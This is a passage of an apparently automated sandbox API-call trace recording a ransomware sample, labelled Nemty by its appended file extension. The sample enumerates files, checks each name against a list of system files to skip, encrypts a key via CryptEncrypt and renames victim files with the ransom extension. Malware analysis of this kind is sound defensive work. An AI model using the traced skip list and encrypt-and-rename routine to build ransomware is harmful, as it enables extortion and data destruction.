lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.081] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.090] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.090] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.100] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.100] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.109] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.109] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.118] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.128] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.140] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.140] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0077.146] CloseHandle (hObject=0xffffffff) returned 0 [0077.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0077.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0077.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0077.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0077.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0077.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0077.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0077.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942b0 [0077.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0077.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0077.146] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png._nemty_kgobjgd_")) returned 0 [0077.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0077.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0077.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0077.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0077.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0077.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0077.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0077.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0077.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0077.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.147] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2=".") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="..") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="...") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="windows") returned -1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="$RECYCLE.BIN") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="rsa") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="NTDETECT.COM") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="ntldr") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="MSDOS.SYS") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="IO.SYS") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="boot.ini") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="boot.ini") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="ntuser.dat") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="desktop.ini") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="CONFIG.SYS") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="RECYCLER") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="BOOTSECT.BAK") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="bootmgr") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="programdata") returned 1 [0077.147] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="appdata") returned 1 [0077.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG.wmv", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0077.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG.wmv", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scenes_INTRO_BG.wmv", lpUsedDefaultChar=0x0) returned 19 [0077.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0077.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG.wmv", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0077.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG.wmv", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scenes_INTRO_BG.wmv", lpUsedDefaultChar=0x0) returned 19 [0077.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0077.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG.wmv", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0077.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG.wmv", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scenes_INTRO_BG.wmv", lpUsedDefaultChar=0x0) returned 19 [0077.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG.wmv", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0077.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0077.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG.wmv", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scenes_INTRO_BG.wmv", lpUsedDefaultChar=0x0) returned 19 [0077.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0077.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0077.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0077.148] Sleep (dwMilliseconds=0x5) [0077.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe1a29570, dwHighDateTime=0x1d561e7)) [0077.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe1a29570, dwHighDateTime=0x1d561e7)) [0077.155] GetLastError () returned 0x5 [0077.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0077.155] GetLastError () returned 0x5 [0077.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0077.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0077.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0077.156] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0077.156] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0077.156] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0077.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0077.156] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="RS80hPufG4ggGq/ASj82g1o7HNulK9IuExmMRHe3gU/Er+PbXhnbyannDVnOd/KY\r\n4ZZAgJazgUMX3Keqg+A6MBCpvGw4qhp9QbAM8mpfQqx6NxzCjBnMAoHGTcMCNjCc\r\nolZE1FJR5/EHU7sCBrouvtIASReh4ll4F5npFC/ZViPV5kCH1eOfTIP5bnSv9pT8\r\nsEEVGlVucbqNeXPiczlHzT2+/QWjBB4wPr0BRaXIYly0oN4k0+0Kkia7nsWJYK3D\r\n030ydFz3w6gxu9On5msKrZL6AsjUkHZxAp2gBoE+v9mBCu528GvY6Kl6kI/AiOFx\r\nzpoFI1Yta368yIYywpQxxQ==\r\n", pcchString=0x653e91c) returned 1 [0077.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0077.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0077.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0077.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0077.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0077.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0077.156] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.156] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0077.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0077.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.166] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.166] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.176] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.176] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.185] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.185] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.195] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.206] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.206] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.215] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.215] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.225] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.225] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, 